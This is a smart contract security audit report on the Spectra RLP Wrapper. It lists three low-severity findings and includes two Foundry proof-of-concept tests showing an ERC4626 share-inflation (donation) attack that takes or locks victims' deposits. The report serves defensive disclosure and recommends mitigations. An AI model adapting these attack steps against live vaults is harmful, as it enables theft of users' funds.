# Spectra RLP Wrapper Security Review

## Pashov Audit Group

Conducted by: eeyore, Said, btk

January 17th 2025 - January 19th 2025

# Contents

## 1. About Pashov Audit Group

Pashov Audit Group consists of multiple teams of some of the best smart contract security researchers in the space. Having a combined reported security vulnerabilities count of over 1000, the group strives to create the absolute very best audit journey possible - although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Check our previous work here or reach out on Twitter @pashovkrum.

## 2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

## 3. Introduction

A time-boxed security review of the **perspectivefi/RLP-Wrapper** repository was done by **Pashov Audit Group**, with a focus on the security aspects of the application's smart contracts implementation.

## 4. About Spectra RLP Wrapper

Spectra separates the principal and the yield generated by an Interest Bearing Token (IBT). It allows users to manage the underlying asset and its yield independently. This audit was focused on Resolv Protocol RLP Wrapper. It enables interaction with the RLP vault through an ERC4626 interface, facilitating compatibility with Principal Token contracts. Built on Spectra4626Wrapper, it handles share-to-asset conversions and integrates with Resolv's deposit system.

# 5. Risk Classification

| Severity | Impact: High | Impact: Medium | Impact: Low |
|---|---|---|---|
| Likelihood: High | Critical | High | Medium |
| Likelihood: Medium | High | Medium | Low |
| Likelihood: Low | Medium | Low | Low |

## 5.1. Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - only a small amount of funds can be lost (such as leakage of value) or a core functionality of the protocol is affected.
- Low - can lead to any kind of unexpected behavior with some of the protocol's functionalities that's not so critical.

## 5.2. Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

## 5.3. Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

# 6. Security Assessment Summary

*review commit hash* - 3d991b469930a82aeb286c35bc6b5a5d6b1f61bc

*fixes review commit hash* - 7d61a80a5df523ce9bb5e532dbe10f5b4bf48687

## Scope

The following smart contracts were in scope of the audit:

- `SpectraWrappedRLP`
- `Spectra4626Wrapper`

# 7. Executive Summary

Over the course of the security review, eeyore, Said, btk engaged with Spectra to review Spectra RLP Wrapper. In this period of time a total of **3** issues were uncovered.

## Protocol Summary

| | |
|---|---|
| **Protocol Name** | Spectra RLP Wrapper |
| **Repository** | https://github.com/perspectivefi/RLP-Wrapper |
| **Date** | January 17th 2025 - January 19th 2025 |
| **Protocol Type** | Interest Rate Derivatives |

## Findings Count

| **Severity** | **Amount** |
|---|---|
| Low | 3 |
| **Total Findings** | **3** |

## Summary of Findings

| **ID** | **Title** | **Severity** | **Status** |
|---|---|---|---|
| [L-01] | Risky claimRewards() function | Low | Acknowledged |
| [L-02] | Misleading preview functions | Low | Acknowledged |
| [L-03] | Inflation attack | Low | Acknowledged |

# 8. Findings

## 8.1. Low Findings

### [L-01] Risky `claimRewards()` function

The primary purpose of the `claimRewards()` function is to prepare the `Spectra4626Wrapper` contract for the potential ability to claim Resolve rewards, which will be available to RLP holders based on the accumulated number of Points.

However, as the future Resolve reward-claiming mechanism has not yet been released by the Resolv protocol, the current implementation of the `claimRewards()` function introduces unnecessary centralization risks and an additional point of failure.

The issue arises because `claimRewards()` uses `.delegatecall` to interact with the yet-unknown implementation of the `RewardsProxy` contract, which is intended to contain the mechanism for Resolv protocol rewards claiming.

```
bytes memory data2 = abi.encodeCall(IRewardsProxy(address
          (0)).claimRewards, (data));
        (bool success, ) = _rewardsProxy.delegatecall(data2);
```

If a malicious or compromised `RewardsProxy` is used, it could execute arbitrary code and drain funds from the `SpectraWrappedRLP` contract.

As the `SpectraWrappedRLP` contract is already upgradeable, its implementation can be updated in the future to accommodate the required reward-claiming mechanism once the Resolve protocol releases its specifications. Therefore, the `claimRewards()` function in its current form is redundant and introduces avoidable risks.

Therefore it is recommended to remove the `claimRewards()` function entirely until the Resolv protocol finalizes and releases its reward-claiming mechanism. This will eliminate the unnecessary centralization risk. Once the mechanism is available, the `SpectraWrappedRLP` contract can be upgraded to implement a secure and specific solution for claiming rewards.

## [L-02] Misleading preview functions

`previewDeposit`, `previewMint`, `previewWithdraw`, and `previewRedeem` all handle USDC-to-shares conversion or vice versa. These functions could mislead users if the returned values are used with `wrap` and `unwrap`. Consider disabling these functions, as `previewWrap` and `previewUnwrap` are already available.

## [L-03] Inflation attack

Although `SpectraWrappedRLP` uses the OZ `ERC4626Upgradeable` as a base for its implementation, the use of the default `1 virtual share` and `1 virtual asset` is insufficient to prevent an inflation attack.

The code also uses `balanceOf(address(this))` to retrieve the `vaultShare` balance, enabling the possibility of donations.

This attack can be profitable for the attacker, as demonstrated below:

1. Initially, the pool has 0 shares and 0 assets.
2. The attacker mints 1000 wei shares.
3. The attacker donates 1000 RLP to the vault.
4. The share price is now inflated. At the cost of approximately 1 RLP, the attacker can profit from the rounding errors in the calculation of other users' share deposits. The profit can be estimated as `amount % 1 RLP` from users deposits.

**The first test example:**

```
function test_inflation_attack() public virtual {
        address user = address(0x123);
        address victim = address(0x124);

        _ibt_deposit(user, 1000e18 + 1000);
        _ibt_deposit(victim, 40e18);

        _approve(_vaultShare_, user, _wrapper_, 1000);
        _approve(_vaultShare_, victim, _wrapper_, 40e18);

        vm.startPrank(user);
        // mint 1000 shares
        ISpectra4626Wrapper(_wrapper_).wrap(1000, user);
        // donate 1000 RLP
        IERC20(_vaultShare_).transfer(_wrapper_, 1000e18);

        vm.startPrank(victim);
        ISpectra4626Wrapper(_wrapper_).wrap(199e17, victim);

        // attacker almost even after first deposit
        uint256 attackerBalance = ISpectra4626Wrapper(_wrapper_).balanceOf
          (user);
        console.log("Attacker balance: %d, ~999.9 RLP", ISpectra4626Wrapper
          (_wrapper_).previewUnwrap(attackerBalance));

        ISpectra4626Wrapper(_wrapper_).wrap(199e17, victim);

        // attacker in profit after second deposit
        attackerBalance = ISpectra4626Wrapper(_wrapper_).balanceOf(user);
        console.log("Attacker balance: %d, ~1000.7 RLP", ISpectra4626Wrapper
          (_wrapper_).previewUnwrap(attackerBalance));

        // victim is in loss
        uint256 victimBalance = ISpectra4626Wrapper(_wrapper_).balanceOf
          (victim);
        console.log("Victim balance: %d, ~38.02 RLP", ISpectra4626Wrapper
          (_wrapper_).previewUnwrap(victimBalance));
    }
```

```
[PASS] test_inflation_attack() (gas: 782938)
Logs:
  Attacker balance: 999901960784313726471, ~999.9 RLP
  Attacker balance: 1000769971126082772859, ~1000.7 RLP
  Victim balance: 38029258902791145368, ~38.02 RLP
```

As the test shows, the attacker can steal and accumulate a portion of other users deposits.

**The second test example:**

Add the following test to `SpectraWrappedRLPTest.t.sol` :

```
function test_initial_deposit_grief() public virtual {

        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        _ibt_deposit(alice,11e18 + 10);
        uint256 initialAssetBalance = IERC20(_vaultShare_).balanceOf(alice);
        console.log("attacker balance before : ");
        console.log(initialAssetBalance);
        _approve(_vaultShare_, alice, _wrapper_, 1e18);

        vm.startPrank(alice);
        ISpectra4626Wrapper(_wrapper_).wrap(10, alice);
        // donate
        IERC20(_vaultShare_).transfer(_wrapper_, 11e18);
        vm.stopPrank();

        _ibt_deposit(bob,1e18);
        _approve(_vaultShare_,bob, _wrapper_, 1e18);
        vm.startPrank(bob);
        ISpectra4626Wrapper(_wrapper_).wrap(1e18, bob);

        uint256 bobShares = IERC20(_wrapper_).balanceOf(bob);
        console.log("bob shares : ");
        console.log(bobShares);
        vm.stopPrank();

        vm.startPrank(alice);
        ISpectra4626Wrapper(_wrapper_).unwrap(10, alice, alice);
        uint256 afterAssetBalance = IERC20(_vaultShare_).balanceOf(alice);
        console.log("attacker balance after : ");
        console.log(afterAssetBalance);
    }
```

Run the test :

```
forge test --match-test test_initial_deposit_grief -vvv
```

Log :

```
Logs:
  attacker balance before :
  11000000000000000010
  bob shares :
  0
  attacker balance after :
  10909090909090909100
```

It can be observed that Alice can lock 1 RLP of Bob's asset at the cost of ~ 0.1 RLP. Consider mitigating this by performing an initial wrap of a small amount during deployment.

**Recommendation:**

There are several ways to protect against inflation attacks:

- The most effective and reliable solution is for the protocol to perform a small initial deposit and burn the received shares.

Other potential solutions include:

1. Increasing the `_decimalsOffset()` to a larger value, such as 6.
2. Using more virtual shares, e.g., 1000.
3. Implementing internal accounting for deposited assets.